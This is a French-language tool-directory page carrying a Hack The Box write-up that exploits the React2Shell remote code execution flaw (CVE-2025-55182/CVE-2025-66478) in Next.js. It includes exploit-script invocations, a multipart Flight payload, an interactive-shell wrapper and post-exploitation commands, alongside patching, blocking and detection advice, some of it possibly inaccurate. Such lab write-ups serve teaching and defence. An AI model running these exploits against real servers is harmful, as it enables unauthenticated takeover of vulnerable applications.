Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ReactOOPS-WriteUp — Hack The Box Writeup du challenge retiré ReactOOPS - Solution complète et guide pédagogique sur CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). Comprend une analyse détaillée de la vulnérabilité, des techniques d'exploitation et du matériel d'apprentissage en équipe. | Kitploit
Outils/GitHubGitHub/thestingr/reactoops-writeup
Analyse StatiqueAnalyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et ÉducationRed Teaming
Développement de Charges Utiles
Labs et Pratique
GitHubthestingr/reactoops-writeup

ReactOOPS-WriteUp

Hack The Box Writeup du challenge retiré ReactOOPS - Solution complète et guide pédagogique sur CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). Comprend une analyse détaillée de la vulnérabilité, des techniques d'exploitation et du matériel d'apprentissage en équipe.

Voir le dépôtSite web
63il y a 8 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

ReactOOPS - Writeup du Défi Web HTB

CVE-2025-55182 CVE-2025-66478 CVSS Score: 10.0 Critical Exploit Status: Proof of Concept Available Challenge Status: Solved Challenge Type: Web Framework: React/Next.js

Auteur: TheStingR - Team ISP1337Hackers
Défi: ReactOOPS (Web)
Plateforme: Hack The Box
Difficulté: Très Facile - RETIRÉ
Date de résolution: 13 décembre 2025

Table des matières

  • Résumé Exécutif
  • Description du Défi
  • Analyse de la Vulnérabilité
  • Reconnaissance & Énumération
  • Procédure d'Exploitation
  • Extraction du Flag
  • Analyse Technique Approfondie
  • Défense & Atténuation
  • Leçons Apprises

  • Résumé Exécutif

    ReactOOPS est un défi web qui exploite CVE-2025-55182 / CVE-2025-66478, une vulnérabilité critique d'exécution de code à distance non authentifiée dans les React Server Components et le Next.js App Router.

    Constatations clés :

    • ✅ Serveur : Next.js 16.0.6 avec React 19 (vulnérable)
    • ✅ Vulnérabilité : Absence de vérification hasOwnProperty dans la désérialisation du protocole Flight
    • ✅ Impact : RCE non authentifié avec privilèges root
    • ✅ Exploitation : Une seule requête HTTP POST nécessaire

    Description du Défi

    Évaluation Initiale

    Le défi présente une application Next.js soignée exécutant l'interface d'assistant NexusAI. L'application semble traiter les entrées utilisateur via les React Server Components, mais des anomalies subtiles dans la couche réactive laissent entrevoir des vulnérabilités sous-jacentes.

    Pile Technologique

    • Framework : Next.js 16.0.6
    • Version React : 19.x
    • Déploiement : Conteneur Docker (build standalone Next.js)
    • Port serveur : 50183

    Qu'est-ce qui rend cela vulnérable ?

    L'application utilise :

    1. React Server Components (RSC) - Rendu côté serveur avec communication client
    2. Protocole Flight - Format de sérialisation pour la transmission de données RSC
    3. Dépendances vulnérables - react-server-dom-webpack sans correctifs de sécurité

    Analyse de la Vulnérabilité

    Aperçu de CVE-2025-55182 / CVE-2025-66478

    Qu'est-ce que le protocole Flight ?

    Le protocole Flight est le format de sérialisation propriétaire de React pour transmettre des données entre le serveur et le client dans les architectures Server Component. Il utilise des références comme :

    • $1 - Référence à l'objet à la position 1
    • $1:path:to:value - Traversée de chemin de propriété

    Le Contrôle de Sécurité Manquant

    Code vulnérable dans ReactFlightReplyServer.js de React :

    root@kitploit:~
    // Ligne ~450 : fonction getOutlinedModel
    function getOutlinedModel(response, id) {
        let chunk = chunks.get(id);
        const value = chunk.value;
        
        // Traiter les références comme "$1:path:to:value"
        if (reference.startsWith('$')) {
            const refId = parseInt(reference.slice(1).split(':')[0]);
            const path = reference.slice(1).split(':').slice(1);
            
            let obj = chunks.get(refId).value;
            
            // BOUCLE VULNÉRABLE - AUCUNE VÉRIFICATION hasOwnProperty !
            for (let i = 0; i < path.length; i++) {
                obj = obj[path[i]];  // ← Permet l'accès à la chaîne de prototypes
            }
            return obj;
        }
    }
    

    La Version Sûre (Ce qu'elle devrait être) :

    root@kitploit:~
    for (let i = 0; i < path.length; i++) {
        if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
            obj = obj[path[i]];
        } else {
            throw new Error('Invalid property access');
        }
    }
    

    Pourquoi C'est Important

    Sans la vérification hasOwnProperty, un attaquant peut traverser :

    root@kitploit:~
    myObject[__proto__][then] → Chunk.prototype.then
    myObject[__proto__][constructor] → Function
    myObject[__proto__][constructor][prototype] → function.prototype
    

    Chaîne d'Exploitation

    root@kitploit:~
    Étape 1 : Envoyer la référence "$1:__proto__:then"
             │
             ├─ Accéder à myChunk[__proto__]
             └─ Puis accéder à [then] sur le prototype
    
    Étape 2 : Créer un faux objet de type Promise
             │
             └─ { then: maliciousFunction }
    
    Étape 3 : React appelle await sur cet objet
             │
             ├─ Invoque la méthode .then()
             └─ Exécute la fonction de l'attaquant
    
    Étape 4 : Exécution de Code Arbitraire
             │
             └─ Le code s'exécute dans le contexte serveur en tant que root
    

    Pourquoi Aucune Vérification d'Authentification ?

    La vulnérabilité existe avant la validation de Next-Action :

    root@kitploit:~
    Flux de traitement de la requête :
    ├─ Analyser les données du formulaire multipart
    ├─ Désérialiser le protocole Flight  ← RCE se produit ICI
    │  └─ Traiter les références et objets
    │  └─ Aucune vérification hasOwnProperty !
    ├─ Extraire l'en-tête Next-Action
    ├─ Valider l'ID d'action          ← Cela vient APRÈS
    └─ Exécuter le gestionnaire d'action
    

    En déclenchant la RCE pendant la désérialisation, les attaquants contournent tous les contrôles de sécurité au niveau des actions.


    Reconnaissance & Énumération

    Étape 1 : Test de Connexion Initial

    root@kitploit:~
    # Tester si le service répond
    curl -v http://<IP>:PORT/
    

    Attendu : Application Next.js servant du HTML avec RSC activé

    Étape 2 : Identification de la Technologie

    Rechercher les indicateurs :

    • En-têtes de réponse contenant les préfixes next-
    • HTML contenant <script type="text/x-component">
    • Présence d'artefacts du répertoire .next
    • Points de terminaison POST sans authentification évidente

    Étape 3 : Détection de la Vulnérabilité

    L'indicateur le plus fiable est de tenter une attaque de pollution de prototype et d'observer la réponse :

    root@kitploit:~
    # Charge utile de détection non destructive
    # Envoie : ["$1:a:a"] référençant {}
    # Vulnérable : {}.a.a lève une exception → HTTP 500 + E{"digest"
    # Patché : hasOwnProperty empêche l'accès → pas de crash
    

    Procédure d'Exploitation

    Configuration de l'Environnement

    root@kitploit:~
    # Naviguer vers le répertoire du défi
    cd /Challenges/ReactOOPS
    
    # Cloner le framework d'exploit react2shell
    git clone https://github.com/freeqaz/react2shell.git
    
    # Vérifier que tous les scripts sont exécutables
    chmod +x react2shell/*.sh
    

    Phase 1 : Détection (Preuve Non Destructive)

    Objectif : Confirmer que le serveur est vulnérable sans causer de dommages

    root@kitploit:~
    cd react2shell
    
    # Exécuter la sonde de détection
    ./detect.sh http://<IP>:PORT
    

    Ce qu'elle fait :

    1. Crée une requête POST multipart avec l'en-tête Next-Action: x
    2. Envoie la charge utile : ["$1:a:a"] référençant l'objet vide {}
    3. Sur un serveur vulnérable : JavaScript tente d'accéder à {}.a.a
    4. L'absence de vérification hasOwnProperty provoque un crash
    5. Le serveur renvoie une erreur HTTP 500 avec un digest d'erreur

    Sortie attendue :

    root@kitploit:~
    [*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
    [*] Target: http://<IP>:PORT
    
    [*] HTTP Status: 500
    [!] VULNERABLE - Server returned 500 with E{"digest" pattern
    
    [*] Response body:
    0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
    1:E{\"digest\":\"346246470\"}
    
    [!] This server is running a vulnerable version of React RSC / Next.js
    

    Interprétation :

    • HTTP 500 : ✅ Crash détecté
    • E{"digest" dans la réponse : ✅ Format de gestion d'erreur React
    • Conclusion : Le serveur est VULNÉRABLE

    Phase 2 : Exécution de Code à Distance (Preuve de Concept)

    Objectif : Vérifier l'exécution de commandes arbitraires

    root@kitploit:~
    # Exécuter la commande 'id' sur le serveur distant
    ./exploit-redirect.sh -q http://<IP>:PORT "id"
    

    Ce qu'il fait :

    1. Construit une charge utile multipart avec la commande
    2. Intègre la commande dans la référence de pollution de prototype
    3. Envoie une requête POST avec Next-Action: x
    4. Le serveur désérialise et exécute la commande pendant le traitement
    5. Renvoie la sortie de la commande via une redirection HTTP 303

    Sortie attendue :

    root@kitploit:~
    uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
    

    Point clé : La sortie montre uid=0(root) - le serveur web s'exécute en tant que root ! C'est une mauvaise configuration de sécurité qui amplifie l'impact.

    Phase 3 : Collecte d'Informations

    Objectif : Explorer le système de fichiers et localiser les fichiers sensibles

    root@kitploit:~
    # Vérifier le répertoire de travail actuel
    ./exploit-redirect.sh -q http://<IP>:PORT "pwd"
    # Sortie : /app/.next/standalone
    
    # Lister le répertoire racine de l'application
    ./exploit-redirect.sh -q http://<IP>:PORT "ls -la /app"
    

    Structure de Répertoire Découverte :

    root@kitploit:~
    /app/
    ├── .next/                    # Sortie de build Next.js
    ├── node_modules/             # Dépendances
    ├── app/                      # Code source de l'application
    ├── public/                   # Actifs statiques
    ├── flag.txt                  # ✅ FICHIER CIBLE (mode 600)
    ├── package.json
    └── tsconfig.json
    

    Constat Critique : Le fichier flag existe à /app/flag.txt avec des permissions restrictives (600)

    Phase 4 : Extraction du Flag

    Objectif : Lire le fichier flag

    root@kitploit:~
    # Lire le flag
    ./exploit-redirect.sh -q http://<IP>:PORT "cat /app/flag.txt"
    

    Sortie :

    root@kitploit:~
    HTB{jus7_REDACTED_2025-55182}
    

    ✅ Défi Terminé !


    Analyse Technique Approfondie

    Décomposition de la Structure de la Charge Utile

    L'exploit construit une charge utile du protocole Flight. Voici à quoi ressemble une charge utile de commande :

    root@kitploit:~
    POST / HTTP/1.1
    Host: <IP>:PORT
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
    Next-Action: x
    
    ------WebKitFormBoundaryXXXX
    Content-Disposition: form-data; name="1"
    
    {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "value": "{\"cmd\":\"id\"}",
      "_response": {
        "id": "1",
        "chunks": []
      }
    }
    ------WebKitFormBoundaryXXXX
    Content-Disposition: form-data; name="0"
    
    "$@1"
    ------WebKitFormBoundaryXXXX--
    

    Processus de Désérialisation

    root@kitploit:~
    1. Analyser les données du formulaire multipart
       → name="1" → objet JSON avec la propriété "then"
       → name="0" → chaîne "$@1"
    
    2. Traiter les références
       → "$@1" signifie "référence au chunk 1"
       → Chercher chunk[1].value
    
    3. Résoudre le chemin de la référence
       → Référence : "$1:__proto__:then"
       → Diviser par deux-points : ["", "__proto__", "then"]
       → Commencer avec chunk[1]
       → Accéder à [__proto__] → traverser vers le prototype
       → Accéder à [then] → accéder à la méthode then
    
    4. Construire une fausse Promise
       → Créer un objet avec une méthode .then()
       → La méthode contient la charge utile de la commande
    
    5. Exécuter le .then() de la Promise
       → React traite comme un objet de type Promise
       → Appelle le gestionnaire .then()
       → LE CODE S'EXÉCUTE EN TANT QUE ROOT
    

    Pourquoi Chaque Script d'Exploit Diffère

    ScriptMécanismeCode HTTPDétection
    exploit-redirect.shTraversée de prototype + chaîne Promise303x-action-redirect
    exploit-throw.shErreur dans try-catch500Erreur dans le corps
    exploit-blind.shCanal auxiliaire (écriture fichier, DNS)200Hors-bande
    exploit-reflect.shRéflexion directe dans la réponse200Sortie de commande dans le corps
    shell.shWrapper interactifVariableInterface REPL

    Nous avons utilisé exploit-redirect.sh car :

    • ✅ Fonctionne sans ID d'action valide
    • ✅ Réponse 303 fiable
    • ✅ Bonne visibilité de la sortie
    • ✅ Aucune interférence de page d'erreur

    Défense & Atténuation

    Pour les Systèmes Vulnérables

    Actions Immédiates (Avant le Correctif) :

    1. Désactiver RSC si non nécessaire

      root@kitploit:~
      // next.config.js
      module.exports = {
        experimental: {
          rsc: false  // Désactiver les React Server Components
        }
      }
      
    2. Restreindre l'utilisation de Next-Action

      root@kitploit:~
      // middleware.ts
      export function middleware(request) {
        // Rejeter toutes les requêtes POST avec Next-Action
        if (request.method === 'POST' && 
            request.headers.has('next-action')) {
          return new Response('Forbidden', { status: 403 });
        }
      }
      
    3. Segmentation Réseau

      root@kitploit:~
      # Autoriser uniquement les sources de confiance
      iptables -A INPUT -p tcp --dport 50183 -s TRUSTED_IP -j ACCEPT
      iptables -A INPUT -p tcp --dport 50183 -j DROP
      

    Appliquer le Correctif Immédiatement :

    root@kitploit:~
    # Mettre à jour Next.js
    npm install next@latest
    
    # Ou version corrigée spécifique
    npm install [email protected]
    
    # Vérifier les versions
    npm ls next react-server-dom-webpack
    

    Pour Tous les Systèmes

    Durcissement de la Sécurité :

    1. Exécuter les serveurs web en non-root

      root@kitploit:~
      # NE PAS faire ceci :
      RUN npm start  # En root
      
      # FAIRE ceci :
      RUN useradd -u 1000 nextjs
      USER nextjs
      CMD ["npm", "start"]
      
    2. Validation des Entrées

      root@kitploit:~
      // Valider toutes les entrées du protocole Flight
      app.post('/api/*', (req, res) => {
        // Rechercher des motifs suspects
        const body = JSON.stringify(req.body);
        if (body.includes('__proto__') || 
            body.includes('constructor') ||
            body.includes('prototype')) {
          return res.status(400).send('Invalid input');
        }
      });
      
    3. Limitation de Débit

      root@kitploit:~
      // Limiter les requêtes POST par IP
      app.post('/api/*', rateLimit({
        windowMs: 60 * 1000,
        max: 10
      }));
      

    Détection & Surveillance

    Règles WAF :

    root@kitploit:~
    # Détecter les tentatives de pollution de prototype
    Si Request.Method == "POST" ET
       Request.Body Contient "__proto__" OU
       Request.Body Contient ":then" OU
       Request.Body Contient ":constructor"
    Alors Alerter + Bloquer
    

    Surveillance des Logs :

    root@kitploit:~
    # Rechercher des motifs suspects
    grep -E '__proto__|constructor|:then' /var/log/nginx/access.log
    grep 'HTTP 500.*digest' /var/log/nginx/error.log
    

    Détection Comportementale :

    root@kitploit:~
    // Surveiller les exécutions de commandes inhabituelles
    const childProcess = require('child_process');
    const original_spawn = childProcess.spawn;
    
    childProcess.spawn = function(...args) {
        console.log('[SECURITY] Command execution attempted:', args[0]);
        // Implémenter une application de politique
        return original_spawn.apply(this, args);
    };
    

    Leçons Apprises

    Leçons de Sécurité

    1. Un Seul Contrôle Manquant = Vulnérabilité Critique

      • Le garde-fou hasOwnProperty a été importé mais pas utilisé
      • Une ligne de validation manquante a entraîné une RCE
      • Leçon : Les revues de code doivent vérifier que tous les garde-fous sont effectivement utilisés
    2. La Chaîne de Prototypes est Dangereuse

      • La chaîne de prototypes de JavaScript peut être exploitée pour un accès non intentionnel aux propriétés
      • L'accès aux propriétés d'un objet semble anodin : obj[key]
      • Leçon : Toujours utiliser hasOwnProperty ou Object.create(null) pour les entrées non fiables
    3. La Désérialisation Avant la Validation est Risquée

      • Le code est exécuté pendant la désérialisation, avant les contrôles d'authentification
      • Flux normal : authentifier → valider → traiter
      • Flux vulnérable : analyser → exécuter du code → valider (trop tard !)
      • Leçon : Ne jamais exécuter de code lors de la désérialisation de données non fiables
    4. Les Privilèges par Défaut des Processus Comptent

      • Le serveur web s'exécutant en root a amplifié l'impact
      • Serveur compromis = contrôle total du système
      • Leçon : Toujours exécuter les services avec les privilèges minimaux requis

    Leçons d'Exploitation

    1. La Détection Non Destructive est Précieuse

      • detect.sh prouve la vulnérabilité sans causer de dommages
      • Permet à l'évaluateur de valider la vulnérabilité avant l'exploitation
      • Bonne Pratique : Toujours inclure une phase de détection
    2. Reconnaissance Systématique

      • Commencé par la détection
      • Passé à la preuve de RCE
      • Puis collecte d'informations
      • Enfin extraction du flag
      • Bonne Pratique : Ne pas sauter directement à l'exploitation ; recueillir d'abord des informations
    3. Comprendre la Technologie

      • La connaissance du protocole Flight a facilité l'exploitation
      • Comprendre l'architecture Next.js était essentiel
      • Connaître la chaîne de prototypes JavaScript était crucial
      • Bonne Pratique : Étudier la pile technologique avant l'exploitation

    Chronologie

    HeureActionRésultat
    T+0sTest de connexion initialService répond
    T+10sExécuter detect.shVULNÉRABLE confirmé
    T+30sExécuter la commande idPrivilèges root confirmés
    T+1mLister le répertoire /appEmplacement du flag trouvé
    T+1m 30sLire le fichier flagFlag extrait
    T+2mVérificationDéfi terminé

    Références

    Documentation Officielle

    • CVE-2025-55182
    • CVE-2025-66478
    • React Server Components
    • Protocole Flight

    Ressources d'Exploit

    • Dépôt react2shell
    • EXPLOIT_NOTES.md
    • PAYLOAD_REFERENCE.md

    CVE Associés

    • CVE-2023-46805 : Pollution de prototype React (similaire mais différent)
    • CVE-2024-4761 : XSS des Server Components

    Annexe : Référence des Commandes

    Exploitation Rapide

    root@kitploit:~
    # Exploit en une ligne
    cd /ReactOOPS/react2shell && \
    ./exploit-redirect.sh -q http://<IP>:PORT "cat /app/flag.txt"
    

    Shell Interactif

    root@kitploit:~
    # Lancer un shell interactif complet
    ./shell.sh http://<IP>:PORT
    
    # Commandes courantes :
    id                    # Afficher les infos utilisateur
    pwd                   # Répertoire courant
    ls -la                # Lister les fichiers
    cat /app/flag.txt     # Lire le flag
    cd /var/log           # Changer de répertoire
    download flag.txt     # Télécharger un fichier
    

    Collecte d'Informations

    root@kitploit:~
    # Informations système
    ./exploit-redirect.sh -q http://<IP>:PORT "uname -a"
    
    # Variables d'environnement
    ./exploit-redirect.sh -q http://<IP>:PORT "env"
    
    # Processus en cours
    ./exploit-redirect.sh -q http://<IP>:PORT "ps aux"
    
    # Connexions réseau
    ./exploit-redirect.sh -q http://<IP>:PORT "netstat -tuln"
    
    # Source de l'application
    ./exploit-redirect.sh -q http://<IP>:PORT "cat /app/package.json"
    
    Télécharger l’outil